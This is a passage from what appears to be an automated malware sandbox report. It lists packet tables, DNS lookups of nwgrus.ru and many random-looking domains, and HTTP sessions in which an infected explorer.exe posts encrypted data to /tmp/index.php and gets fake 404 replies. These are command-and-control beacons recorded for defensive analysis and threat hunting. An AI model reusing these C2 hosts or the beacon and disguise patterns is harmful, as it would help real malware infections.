Oct 8, 2024 03:17:02.272121906 CEST	50062	80	192.168.2.4	201.103.8.135
Oct 8, 2024 03:17:02.272159100 CEST	50062	80	192.168.2.4	201.103.8.135
Oct 8, 2024 03:17:02.277270079 CEST	80	50062	201.103.8.135	192.168.2.4
Oct 8, 2024 03:17:15.665070057 CEST	50063	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:17:15.665106058 CEST	443	50063	23.145.40.168	192.168.2.4
Oct 8, 2024 03:17:15.665169001 CEST	50063	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:17:15.665441990 CEST	50063	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:17:15.665451050 CEST	443	50063	23.145.40.168	192.168.2.4
Oct 8, 2024 03:17:16.302692890 CEST	443	50063	23.145.40.168	192.168.2.4
Oct 8, 2024 03:17:16.302752972 CEST	50063	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:17:16.304965019 CEST	50063	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:17:16.304985046 CEST	443	50063	23.145.40.168	192.168.2.4
Oct 8, 2024 03:17:16.305334091 CEST	443	50063	23.145.40.168	192.168.2.4
Oct 8, 2024 03:17:16.306660891 CEST	50063	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:17:16.306682110 CEST	50063	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:17:16.306777000 CEST	443	50063	23.145.40.168	192.168.2.4
Oct 8, 2024 03:17:16.585520029 CEST	443	50063	23.145.40.168	192.168.2.4
Oct 8, 2024 03:17:16.585586071 CEST	443	50063	23.145.40.168	192.168.2.4
Oct 8, 2024 03:17:16.585632086 CEST	50063	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:17:16.585768938 CEST	50063	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:17:16.585789919 CEST	443	50063	23.145.40.168	192.168.2.4
Oct 8, 2024 03:17:16.585817099 CEST	50063	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:17:16.585823059 CEST	443	50063	23.145.40.168	192.168.2.4
Oct 8, 2024 03:17:19.592775106 CEST	50064	80	192.168.2.4	201.103.8.135
Oct 8, 2024 03:17:19.597774029 CEST	80	50064	201.103.8.135	192.168.2.4
Oct 8, 2024 03:17:19.598494053 CEST	50064	80	192.168.2.4	201.103.8.135
Oct 8, 2024 03:17:19.598702908 CEST	50064	80	192.168.2.4	201.103.8.135
Oct 8, 2024 03:17:19.598714113 CEST	50064	80	192.168.2.4	201.103.8.135
Oct 8, 2024 03:17:19.604377031 CEST	80	50064	201.103.8.135	192.168.2.4
Oct 8, 2024 03:17:19.604424953 CEST	80	50064	201.103.8.135	192.168.2.4
Oct 8, 2024 03:17:20.703741074 CEST	80	50064	201.103.8.135	192.168.2.4
Oct 8, 2024 03:17:20.704294920 CEST	80	50064	201.103.8.135	192.168.2.4
Oct 8, 2024 03:17:20.704358101 CEST	50064	80	192.168.2.4	201.103.8.135
Oct 8, 2024 03:17:20.704391003 CEST	50064	80	192.168.2.4	201.103.8.135
Oct 8, 2024 03:17:20.709630013 CEST	80	50064	201.103.8.135	192.168.2.4
Oct 8, 2024 03:17:33.681612015 CEST	50065	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:17:33.681663036 CEST	443	50065	23.145.40.168	192.168.2.4
Oct 8, 2024 03:17:33.681732893 CEST	50065	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:17:33.682075024 CEST	50065	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:17:33.682087898 CEST	443	50065	23.145.40.168	192.168.2.4
Oct 8, 2024 03:17:34.322112083 CEST	443	50065	23.145.40.168	192.168.2.4
Oct 8, 2024 03:17:34.322187901 CEST	50065	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:17:34.326560020 CEST	50065	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:17:34.326586962 CEST	443	50065	23.145.40.168	192.168.2.4
Oct 8, 2024 03:17:34.327075005 CEST	443	50065	23.145.40.168	192.168.2.4
Oct 8, 2024 03:17:34.327905893 CEST	50065	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:17:34.327929020 CEST	50065	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:17:34.328038931 CEST	443	50065	23.145.40.168	192.168.2.4
Oct 8, 2024 03:17:34.688065052 CEST	443	50065	23.145.40.168	192.168.2.4
Oct 8, 2024 03:17:34.688141108 CEST	443	50065	23.145.40.168	192.168.2.4
Oct 8, 2024 03:17:34.688190937 CEST	50065	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:17:34.688577890 CEST	50065	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:17:34.688594103 CEST	443	50065	23.145.40.168	192.168.2.4
Oct 8, 2024 03:17:34.688604116 CEST	50065	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:17:34.688607931 CEST	443	50065	23.145.40.168	192.168.2.4
Oct 8, 2024 03:17:37.704230070 CEST	50066	80	192.168.2.4	201.103.8.135
Oct 8, 2024 03:17:37.709774017 CEST	80	50066	201.103.8.135	192.168.2.4
Oct 8, 2024 03:17:37.709852934 CEST	50066	80	192.168.2.4	201.103.8.135
Oct 8, 2024 03:17:37.710000992 CEST	50066	80	192.168.2.4	201.103.8.135
Oct 8, 2024 03:17:37.710035086 CEST	50066	80	192.168.2.4	201.103.8.135
Oct 8, 2024 03:17:37.714900970 CEST	80	50066	201.103.8.135	192.168.2.4
Oct 8, 2024 03:17:37.714931011 CEST	80	50066	201.103.8.135	192.168.2.4
Oct 8, 2024 03:17:38.839585066 CEST	80	50066	201.103.8.135	192.168.2.4
Oct 8, 2024 03:17:38.839687109 CEST	80	50066	201.103.8.135	192.168.2.4
Oct 8, 2024 03:17:38.839751005 CEST	50066	80	192.168.2.4	201.103.8.135
Oct 8, 2024 03:17:38.839998007 CEST	50066	80	192.168.2.4	201.103.8.135
Oct 8, 2024 03:17:38.845041037 CEST	80	50066	201.103.8.135	192.168.2.4
Oct 8, 2024 03:17:51.239928007 CEST	50067	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:17:51.240014076 CEST	443	50067	23.145.40.168	192.168.2.4
Oct 8, 2024 03:17:51.240080118 CEST	50067	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:17:51.240350008 CEST	50067	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:17:51.240382910 CEST	443	50067	23.145.40.168	192.168.2.4
Oct 8, 2024 03:17:51.832901955 CEST	443	50067	23.145.40.168	192.168.2.4
Oct 8, 2024 03:17:51.833117008 CEST	50067	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:17:51.833997965 CEST	50067	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:17:51.834021091 CEST	443	50067	23.145.40.168	192.168.2.4
Oct 8, 2024 03:17:51.834602118 CEST	443	50067	23.145.40.168	192.168.2.4
Oct 8, 2024 03:17:51.835235119 CEST	50067	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:17:51.835274935 CEST	50067	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:17:51.835494995 CEST	443	50067	23.145.40.168	192.168.2.4
Oct 8, 2024 03:17:52.198797941 CEST	443	50067	23.145.40.168	192.168.2.4
Oct 8, 2024 03:17:52.198945045 CEST	443	50067	23.145.40.168	192.168.2.4
Oct 8, 2024 03:17:52.199021101 CEST	50067	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:17:52.199141026 CEST	50067	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:17:52.199183941 CEST	443	50067	23.145.40.168	192.168.2.4
Oct 8, 2024 03:17:52.199208975 CEST	50067	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:17:52.199223995 CEST	443	50067	23.145.40.168	192.168.2.4
Oct 8, 2024 03:17:55.120667934 CEST	50068	80	192.168.2.4	201.103.8.135
Oct 8, 2024 03:17:55.125875950 CEST	80	50068	201.103.8.135	192.168.2.4
Oct 8, 2024 03:17:55.126094103 CEST	50068	80	192.168.2.4	201.103.8.135
Oct 8, 2024 03:17:55.126094103 CEST	50068	80	192.168.2.4	201.103.8.135
Oct 8, 2024 03:17:55.126184940 CEST	50068	80	192.168.2.4	201.103.8.135
Oct 8, 2024 03:17:55.131198883 CEST	80	50068	201.103.8.135	192.168.2.4
Oct 8, 2024 03:17:55.131253004 CEST	80	50068	201.103.8.135	192.168.2.4
Oct 8, 2024 03:17:56.256889105 CEST	80	50068	201.103.8.135	192.168.2.4
Oct 8, 2024 03:17:56.256937027 CEST	80	50068	201.103.8.135	192.168.2.4
Oct 8, 2024 03:17:56.257177114 CEST	50068	80	192.168.2.4	201.103.8.135
Oct 8, 2024 03:17:56.262687922 CEST	50068	80	192.168.2.4	201.103.8.135
Oct 8, 2024 03:17:56.267676115 CEST	80	50068	201.103.8.135	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 8, 2024 03:14:18.512068033 CEST	64635	53	192.168.2.4	1.1.1.1
Oct 8, 2024 03:14:19.514327049 CEST	64635	53	192.168.2.4	1.1.1.1
Oct 8, 2024 03:14:20.524640083 CEST	64635	53	192.168.2.4	1.1.1.1
Oct 8, 2024 03:14:20.790242910 CEST	53	64635	1.1.1.1	192.168.2.4
Oct 8, 2024 03:14:20.790278912 CEST	53	64635	1.1.1.1	192.168.2.4
Oct 8, 2024 03:14:20.790297985 CEST	53	64635	1.1.1.1	192.168.2.4
Oct 8, 2024 03:15:18.569936037 CEST	59993	53	192.168.2.4	1.1.1.1
Oct 8, 2024 03:15:18.582319975 CEST	53	59993	1.1.1.1	192.168.2.4
Oct 8, 2024 03:16:58.926079988 CEST	62908	53	192.168.2.4	1.1.1.1
Oct 8, 2024 03:16:59.930843115 CEST	62908	53	192.168.2.4	1.1.1.1
Oct 8, 2024 03:17:00.946425915 CEST	62908	53	192.168.2.4	1.1.1.1
Oct 8, 2024 03:17:01.161866903 CEST	53	62908	1.1.1.1	192.168.2.4
Oct 8, 2024 03:17:01.161910057 CEST	53	62908	1.1.1.1	192.168.2.4
Oct 8, 2024 03:17:01.161937952 CEST	53	62908	1.1.1.1	192.168.2.4
Oct 8, 2024 03:18:03.310151100 CEST	60746	53	192.168.2.4	1.1.1.1
Oct 8, 2024 03:18:03.325584888 CEST	53	60746	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 8, 2024 03:14:18.512068033 CEST	192.168.2.4	1.1.1.1	0xdfd5	Standard query (0)	nwgrus.ru	A (IP address)	IN (0x0001)	false
Oct 8, 2024 03:14:19.514327049 CEST	192.168.2.4	1.1.1.1	0xdfd5	Standard query (0)	nwgrus.ru	A (IP address)	IN (0x0001)	false
Oct 8, 2024 03:14:20.524640083 CEST	192.168.2.4	1.1.1.1	0xdfd5	Standard query (0)	nwgrus.ru	A (IP address)	IN (0x0001)	false
Oct 8, 2024 03:15:18.569936037 CEST	192.168.2.4	1.1.1.1	0x9293	Standard query (0)	ninjahallnews.com	A (IP address)	IN (0x0001)	false
Oct 8, 2024 03:16:58.926079988 CEST	192.168.2.4	1.1.1.1	0x7da8	Standard query (0)	nwgrus.ru	A (IP address)	IN (0x0001)	false
Oct 8, 2024 03:16:59.930843115 CEST	192.168.2.4	1.1.1.1	0x7da8	Standard query (0)	nwgrus.ru	A (IP address)	IN (0x0001)	false
Oct 8, 2024 03:17:00.946425915 CEST	192.168.2.4	1.1.1.1	0x7da8	Standard query (0)	nwgrus.ru	A (IP address)	IN (0x0001)	false
Oct 8, 2024 03:18:03.310151100 CEST	192.168.2.4	1.1.1.1	0xbfa6	Standard query (0)	globalviewsnature.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 8, 2024 03:14:12.590634108 CEST	1.1.1.1	192.168.2.4	0x2e4	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Oct 8, 2024 03:14:12.590634108 CEST	1.1.1.1	192.168.2.4	0x2e4	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Oct 8, 2024 03:14:13.098494053 CEST	1.1.1.1	192.168.2.4	0x34dd	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 8, 2024 03:14:13.098494053 CEST	1.1.1.1	192.168.2.4	0x34dd	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false
Oct 8, 2024 03:14:20.790242910 CEST	1.1.1.1	192.168.2.4	0xdfd5	No error (0)	nwgrus.ru		180.75.11.133	A (IP address)	IN (0x0001)	false
Oct 8, 2024 03:14:20.790242910 CEST	1.1.1.1	192.168.2.4	0xdfd5	No error (0)	nwgrus.ru		187.204.9.111	A (IP address)	IN (0x0001)	false
Oct 8, 2024 03:14:20.790242910 CEST	1.1.1.1	192.168.2.4	0xdfd5	No error (0)	nwgrus.ru		125.7.253.10	A (IP address)	IN (0x0001)	false
Oct 8, 2024 03:14:20.790242910 CEST	1.1.1.1	192.168.2.4	0xdfd5	No error (0)	nwgrus.ru		185.18.245.58	A (IP address)	IN (0x0001)	false
Oct 8, 2024 03:14:20.790242910 CEST	1.1.1.1	192.168.2.4	0xdfd5	No error (0)	nwgrus.ru		190.146.112.188	A (IP address)	IN (0x0001)	false
Oct 8, 2024 03:14:20.790242910 CEST	1.1.1.1	192.168.2.4	0xdfd5	No error (0)	nwgrus.ru		190.156.239.49	A (IP address)	IN (0x0001)	false
Oct 8, 2024 03:14:20.790242910 CEST	1.1.1.1	192.168.2.4	0xdfd5	No error (0)	nwgrus.ru		177.129.90.106	A (IP address)	IN (0x0001)	false
Oct 8, 2024 03:14:20.790242910 CEST	1.1.1.1	192.168.2.4	0xdfd5	No error (0)	nwgrus.ru		105.197.97.247	A (IP address)	IN (0x0001)	false
Oct 8, 2024 03:14:20.790242910 CEST	1.1.1.1	192.168.2.4	0xdfd5	No error (0)	nwgrus.ru		175.119.10.231	A (IP address)	IN (0x0001)	false
Oct 8, 2024 03:14:20.790242910 CEST	1.1.1.1	192.168.2.4	0xdfd5	No error (0)	nwgrus.ru		183.100.39.16	A (IP address)	IN (0x0001)	false
Oct 8, 2024 03:14:20.790278912 CEST	1.1.1.1	192.168.2.4	0xdfd5	No error (0)	nwgrus.ru		180.75.11.133	A (IP address)	IN (0x0001)	false
Oct 8, 2024 03:14:20.790278912 CEST	1.1.1.1	192.168.2.4	0xdfd5	No error (0)	nwgrus.ru		187.204.9.111	A (IP address)	IN (0x0001)	false
Oct 8, 2024 03:14:20.790278912 CEST	1.1.1.1	192.168.2.4	0xdfd5	No error (0)	nwgrus.ru		125.7.253.10	A (IP address)	IN (0x0001)	false
Oct 8, 2024 03:14:20.790278912 CEST	1.1.1.1	192.168.2.4	0xdfd5	No error (0)	nwgrus.ru		185.18.245.58	A (IP address)	IN (0x0001)	false
Oct 8, 2024 03:14:20.790278912 CEST	1.1.1.1	192.168.2.4	0xdfd5	No error (0)	nwgrus.ru		190.146.112.188	A (IP address)	IN (0x0001)	false
Oct 8, 2024 03:14:20.790278912 CEST	1.1.1.1	192.168.2.4	0xdfd5	No error (0)	nwgrus.ru		190.156.239.49	A (IP address)	IN (0x0001)	false
Oct 8, 2024 03:14:20.790278912 CEST	1.1.1.1	192.168.2.4	0xdfd5	No error (0)	nwgrus.ru		177.129.90.106	A (IP address)	IN (0x0001)	false
Oct 8, 2024 03:14:20.790278912 CEST	1.1.1.1	192.168.2.4	0xdfd5	No error (0)	nwgrus.ru		105.197.97.247	A (IP address)	IN (0x0001)	false
Oct 8, 2024 03:14:20.790278912 CEST	1.1.1.1	192.168.2.4	0xdfd5	No error (0)	nwgrus.ru		175.119.10.231	A (IP address)	IN (0x0001)	false
Oct 8, 2024 03:14:20.790278912 CEST	1.1.1.1	192.168.2.4	0xdfd5	No error (0)	nwgrus.ru		183.100.39.16	A (IP address)	IN (0x0001)	false
Oct 8, 2024 03:14:20.790297985 CEST	1.1.1.1	192.168.2.4	0xdfd5	No error (0)	nwgrus.ru		180.75.11.133	A (IP address)	IN (0x0001)	false
Oct 8, 2024 03:14:20.790297985 CEST	1.1.1.1	192.168.2.4	0xdfd5	No error (0)	nwgrus.ru		187.204.9.111	A (IP address)	IN (0x0001)	false
Oct 8, 2024 03:14:20.790297985 CEST	1.1.1.1	192.168.2.4	0xdfd5	No error (0)	nwgrus.ru		125.7.253.10	A (IP address)	IN (0x0001)	false
Oct 8, 2024 03:14:20.790297985 CEST	1.1.1.1	192.168.2.4	0xdfd5	No error (0)	nwgrus.ru		185.18.245.58	A (IP address)	IN (0x0001)	false
Oct 8, 2024 03:14:20.790297985 CEST	1.1.1.1	192.168.2.4	0xdfd5	No error (0)	nwgrus.ru		190.146.112.188	A (IP address)	IN (0x0001)	false
Oct 8, 2024 03:14:20.790297985 CEST	1.1.1.1	192.168.2.4	0xdfd5	No error (0)	nwgrus.ru		190.156.239.49	A (IP address)	IN (0x0001)	false
Oct 8, 2024 03:14:20.790297985 CEST	1.1.1.1	192.168.2.4	0xdfd5	No error (0)	nwgrus.ru		177.129.90.106	A (IP address)	IN (0x0001)	false
Oct 8, 2024 03:14:20.790297985 CEST	1.1.1.1	192.168.2.4	0xdfd5	No error (0)	nwgrus.ru		105.197.97.247	A (IP address)	IN (0x0001)	false
Oct 8, 2024 03:14:20.790297985 CEST	1.1.1.1	192.168.2.4	0xdfd5	No error (0)	nwgrus.ru		175.119.10.231	A (IP address)	IN (0x0001)	false
Oct 8, 2024 03:14:20.790297985 CEST	1.1.1.1	192.168.2.4	0xdfd5	No error (0)	nwgrus.ru		183.100.39.16	A (IP address)	IN (0x0001)	false
Oct 8, 2024 03:14:53.975908995 CEST	1.1.1.1	192.168.2.4	0xc212	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 8, 2024 03:14:53.975908995 CEST	1.1.1.1	192.168.2.4	0xc212	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Oct 8, 2024 03:15:18.582319975 CEST	1.1.1.1	192.168.2.4	0x9293	No error (0)	ninjahallnews.com		23.145.40.168	A (IP address)	IN (0x0001)	false
Oct 8, 2024 03:17:01.161866903 CEST	1.1.1.1	192.168.2.4	0x7da8	No error (0)	nwgrus.ru		201.103.8.135	A (IP address)	IN (0x0001)	false
Oct 8, 2024 03:17:01.161866903 CEST	1.1.1.1	192.168.2.4	0x7da8	No error (0)	nwgrus.ru		196.189.156.245	A (IP address)	IN (0x0001)	false
Oct 8, 2024 03:17:01.161866903 CEST	1.1.1.1	192.168.2.4	0x7da8	No error (0)	nwgrus.ru		154.144.253.197	A (IP address)	IN (0x0001)	false
Oct 8, 2024 03:17:01.161866903 CEST	1.1.1.1	192.168.2.4	0x7da8	No error (0)	nwgrus.ru		211.171.233.129	A (IP address)	IN (0x0001)	false
Oct 8, 2024 03:17:01.161866903 CEST	1.1.1.1	192.168.2.4	0x7da8	No error (0)	nwgrus.ru		177.129.90.106	A (IP address)	IN (0x0001)	false
Oct 8, 2024 03:17:01.161866903 CEST	1.1.1.1	192.168.2.4	0x7da8	No error (0)	nwgrus.ru		187.204.9.111	A (IP address)	IN (0x0001)	false
Oct 8, 2024 03:17:01.161866903 CEST	1.1.1.1	192.168.2.4	0x7da8	No error (0)	nwgrus.ru		190.156.239.49	A (IP address)	IN (0x0001)	false
Oct 8, 2024 03:17:01.161866903 CEST	1.1.1.1	192.168.2.4	0x7da8	No error (0)	nwgrus.ru		186.123.165.48	A (IP address)	IN (0x0001)	false
Oct 8, 2024 03:17:01.161866903 CEST	1.1.1.1	192.168.2.4	0x7da8	No error (0)	nwgrus.ru		180.75.11.133	A (IP address)	IN (0x0001)	false
Oct 8, 2024 03:17:01.161866903 CEST	1.1.1.1	192.168.2.4	0x7da8	No error (0)	nwgrus.ru		58.151.148.90	A (IP address)	IN (0x0001)	false
Oct 8, 2024 03:17:01.161910057 CEST	1.1.1.1	192.168.2.4	0x7da8	No error (0)	nwgrus.ru		201.103.8.135	A (IP address)	IN (0x0001)	false
Oct 8, 2024 03:17:01.161910057 CEST	1.1.1.1	192.168.2.4	0x7da8	No error (0)	nwgrus.ru		196.189.156.245	A (IP address)	IN (0x0001)	false
Oct 8, 2024 03:17:01.161910057 CEST	1.1.1.1	192.168.2.4	0x7da8	No error (0)	nwgrus.ru		154.144.253.197	A (IP address)	IN (0x0001)	false
Oct 8, 2024 03:17:01.161910057 CEST	1.1.1.1	192.168.2.4	0x7da8	No error (0)	nwgrus.ru		211.171.233.129	A (IP address)	IN (0x0001)	false
Oct 8, 2024 03:17:01.161910057 CEST	1.1.1.1	192.168.2.4	0x7da8	No error (0)	nwgrus.ru		177.129.90.106	A (IP address)	IN (0x0001)	false
Oct 8, 2024 03:17:01.161910057 CEST	1.1.1.1	192.168.2.4	0x7da8	No error (0)	nwgrus.ru		187.204.9.111	A (IP address)	IN (0x0001)	false
Oct 8, 2024 03:17:01.161910057 CEST	1.1.1.1	192.168.2.4	0x7da8	No error (0)	nwgrus.ru		190.156.239.49	A (IP address)	IN (0x0001)	false
Oct 8, 2024 03:17:01.161910057 CEST	1.1.1.1	192.168.2.4	0x7da8	No error (0)	nwgrus.ru		186.123.165.48	A (IP address)	IN (0x0001)	false
Oct 8, 2024 03:17:01.161910057 CEST	1.1.1.1	192.168.2.4	0x7da8	No error (0)	nwgrus.ru		180.75.11.133	A (IP address)	IN (0x0001)	false
Oct 8, 2024 03:17:01.161910057 CEST	1.1.1.1	192.168.2.4	0x7da8	No error (0)	nwgrus.ru		58.151.148.90	A (IP address)	IN (0x0001)	false
Oct 8, 2024 03:17:01.161937952 CEST	1.1.1.1	192.168.2.4	0x7da8	No error (0)	nwgrus.ru		201.103.8.135	A (IP address)	IN (0x0001)	false
Oct 8, 2024 03:17:01.161937952 CEST	1.1.1.1	192.168.2.4	0x7da8	No error (0)	nwgrus.ru		196.189.156.245	A (IP address)	IN (0x0001)	false
Oct 8, 2024 03:17:01.161937952 CEST	1.1.1.1	192.168.2.4	0x7da8	No error (0)	nwgrus.ru		154.144.253.197	A (IP address)	IN (0x0001)	false
Oct 8, 2024 03:17:01.161937952 CEST	1.1.1.1	192.168.2.4	0x7da8	No error (0)	nwgrus.ru		211.171.233.129	A (IP address)	IN (0x0001)	false
Oct 8, 2024 03:17:01.161937952 CEST	1.1.1.1	192.168.2.4	0x7da8	No error (0)	nwgrus.ru		177.129.90.106	A (IP address)	IN (0x0001)	false
Oct 8, 2024 03:17:01.161937952 CEST	1.1.1.1	192.168.2.4	0x7da8	No error (0)	nwgrus.ru		187.204.9.111	A (IP address)	IN (0x0001)	false
Oct 8, 2024 03:17:01.161937952 CEST	1.1.1.1	192.168.2.4	0x7da8	No error (0)	nwgrus.ru		190.156.239.49	A (IP address)	IN (0x0001)	false
Oct 8, 2024 03:17:01.161937952 CEST	1.1.1.1	192.168.2.4	0x7da8	No error (0)	nwgrus.ru		186.123.165.48	A (IP address)	IN (0x0001)	false
Oct 8, 2024 03:17:01.161937952 CEST	1.1.1.1	192.168.2.4	0x7da8	No error (0)	nwgrus.ru		180.75.11.133	A (IP address)	IN (0x0001)	false
Oct 8, 2024 03:17:01.161937952 CEST	1.1.1.1	192.168.2.4	0x7da8	No error (0)	nwgrus.ru		58.151.148.90	A (IP address)	IN (0x0001)	false
Oct 8, 2024 03:18:03.325584888 CEST	1.1.1.1	192.168.2.4	0xbfa6	No error (0)	globalviewsnature.com		23.145.40.113	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

23.145.40.164

https:

ninjahallnews.com

arlhmhxchhgqep.com

nwgrus.ru

tdpshksrvfora.org

uhxuuwgfmyhe.com

hkuvmvjfakdhd.com

gspricnhwajrk.com

ihkjhoeohsucndfk.org

lpitxyhvwvj.net

yltrrjxrgdt.net

jypectwcaivky.com

uvanlbvtcqkc.org

jkgktqvsjdwb.com

cxrauupqkavo.org

fmrccqvtujxqbxpg.com

keeemaaxcllp.org

iwmxjihevykqvbos.net

lxadwtocjtceer.com

hvtgqqwlcbupjdi.org

cestfyhpiwlpo.org

qocskrvscrey.org

tcqfwxekwxifmk.net

qhndxwhkmipxgbaj.org

awkedsxfgif.org

xnrwcbelwfy.com

hidbwvhnrpsqtckd.org

kldixuwrvoj.org

jrduoddrbbwoyfog.org

fadawnjwyvdbowke.net

ejoaxqvdwaljnps.org

qmmqfrtscgkdrbea.com

kcwpxhfqrcwcynne.com

ksfanihxkdmgc.net

gshbntjmlxbreay.net

mqkcxjfgdkafebli.net

pvrcqmbcktsc.com

gvwiwavaujycn.com

anqkqcglkprylr.org

lbnjhrckmixdmp.org

jwckdfwbqxcvipv.org

qeoeefjxuhhhbrbu.net

xxxghskpkjdphcpk.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49736	180.75.11.133	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 03:14:20.830836058 CEST	281	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://arlhmhxchhgqep.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 336 Host: nwgrus.ru
Oct 8, 2024 03:14:20.830836058 CEST	336	OUT	Data Raw: 3b 6e 21 17 f6 bb 60 23 ab db c5 00 0f 70 7d ce 0a 7e ba 93 1f 00 95 60 0a 7a 7f 9c 37 b7 b4 6f 92 59 c0 58 73 68 52 1f ed 98 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1b 1d c7 41 20 ff 2e 5b 0a 6b 2c 90 f4 76 0b 75 46 32 be bc Data Ascii: ;n!`#p}~`z7oYXshR? 9Yt M@NA .[k,vuF2oL~{Lzmyr/ulRKBi66=F@TG*X3~(E!dHFH3X$zCQ!\|d^I4@;
Oct 8, 2024 03:14:22.194552898 CEST	152	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Tue, 08 Oct 2024 01:14:21 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 04 00 00 00 72 e8 87 ec Data Ascii: r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49737	180.75.11.133	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 03:14:22.204900980 CEST	280	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://tdpshksrvfora.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 333 Host: nwgrus.ru
Oct 8, 2024 03:14:22.204952955 CEST	333	OUT	Data Raw: 3b 6e 21 17 f6 bb 60 23 ab db c5 00 0f 70 7d ce 0a 7e ba 93 1f 00 95 60 0a 7a 7f 9c 37 b7 b4 6f 92 59 c0 58 73 68 52 1f ed 98 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 0a 6b 2c 90 f5 76 0b 75 66 05 cc a5 Data Ascii: ;n!`#p}~`z7oYXshR? 9Yt M@NA -[k,vufpDhD/7=0S ~$E(*nR2CQ`31?05$'&o4XKNG w2$`/]"CD
Oct 8, 2024 03:14:23.607597113 CEST	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Tue, 08 Oct 2024 01:14:23 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found 